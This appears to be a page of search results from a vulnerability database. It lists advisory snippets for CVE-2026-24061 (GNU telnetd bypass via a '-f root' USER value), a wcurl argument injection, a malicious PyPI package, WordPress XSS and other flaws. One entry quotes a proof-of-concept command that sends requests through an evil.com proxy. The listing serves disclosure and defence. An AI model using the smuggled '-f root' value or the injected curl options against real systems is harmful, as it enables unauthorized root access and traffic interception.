12562 matches found
GNU InetUtils Argument Injection Vulnerability
GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable...
GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061
The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which allows for the exchange of sub-option parameters after both parties have...
curl: wcurl Argument Injection via Unquoted Variable
when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl affected version:current step 1: open terminal step 2:run pocs below wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt wcurl --dry-run --curl-options='-o...
Malicious code in researchpoc (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 20a5e6f7ec432b0c41646f696c530fb5e46e034477a23d448de1ac3f18172bec Package mentions being a research PoC, probably for dependency confusion, but the code is obfuscated making verification of the claim impossible. --- Category:...
CVE-2025-13676
The JustClick registration plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on the PHPSELF server variable. This makes it possible for unauthenticated attackers to...
CVE-2025-13676
The JustClick registration plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on the PHPSELF server variable. This makes it possible for unauthenticated attackers to...
CVE-2025-13676
CVE-2025-13676 is a Reflected Cross-Site Scripting vulnerability in the WordPress plugin “JustClick registration plugin” (versions up to and including 0.1). The issue arises from insufficient input sanitization and output escaping on the PHP_SELF server variable, enabling unauthenticated attacker...
CVE-2025-13676 JustClick registration plugin <= 0.1 - Reflected Cross-Site Scripting via PHP_SELF
The JustClick registration plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on the PHPSELF server variable. This makes it possible for unauthenticated attackers to...
WordPress plugin JustClick registration: cross-site scripting vulnerability
WordPress and WordPress plugins are both products of the WordPress Foundation. WordPress is a blog platform developed using the PHP language. This platform allows for the creation of personal blog websites on servers based on PHP and MySQL. A WordPress plugin is an application extension. The...
Exploit for CVE-2026-24061
CVE-2026-24061 — inetutils-telnetd Authentication Bypass A pr...
Exploit for CVE-2026-24061
CVE-2026-24061 Vulnerability Detection Tool ⚠️ Note: C...
SUSE CVE-2026-24061
telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a "-f root" value for the USER environment variable...
CVE-2026-24137
sigstore framework is a common go library shared across sigstore services and clients. In versions 1.10.3 and below, the legacy TUF client pkg/tuf/client.go supports caching target files to disk. It constructs a filesystem path by joining a cache base directory with a target name sourced from...
The vulnerability of the telnetd server in the Inetutils network programming package allows a hacker to bypass existing security mechanisms.
The vulnerability of the telnetd server in the Inetutils network programming package is related to improper handling of arguments in the command when processing the USER variable. Exploitation of this vulnerability allows a remote attacker to bypass existing security mechanisms by executing a...
The vulnerability of the `ocfs2_find_victim_chain()` function in the `fs/ocfs2/suballoc.c` component of the OCFS2 file system support in Linux’s kernel allows a malicious actor to cause service failure.
The vulnerability of the ocfs2findvictimchain function in the fs/ocfs2/suballoc.c component of the OCFS2 file system support in Linux’s kernel involves the use of an uninitialized variable. Exploiting this vulnerability could allow an attacker to cause a service failure...
CVE-2026-23953 Incus container environment configuration newline injection
Incus is a system container and virtual machine manager. In versions 6.20.0 and below, a user with the ability to launch a container with a custom YAML configuration e.g a member of the ‘incus’ group can create an environment variable containing newlines, which can be used to add additional...
CVE-2026-23953
Incus is a system container and virtual machine manager. In versions 6.20.0 and below, a user with the ability to launch a container with a custom YAML configuration e.g a member of the ‘incus’ group can create an environment variable containing newlines, which can be used to add additional...
CLSA-2026-1769099972 httpd: Fix of 2 CVEs
CVE-2025-65082: fix CGI environment variable injection by preventing HTTP headers from overriding server-set variables and added regression tests - CVE-2025-66200: prevent suexec bypass by removing request notes usage and rejecting the undocumented RequestHeader note option...
VulnCheck KEV: CVE-2026-24061
GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable...
GNU InetUtils Telnetd Remote Authentication Bypass Vulnerability
GNU InetUtils telnetd is a telnet service daemon in the GNU InetUtils suite that listens on TCP port 23 and provides clients with plaintext terminal access based on the Telnet protocol. A remote authentication bypass vulnerability exists in GNU InetUtils Telnetd, which can be exploited to bypass...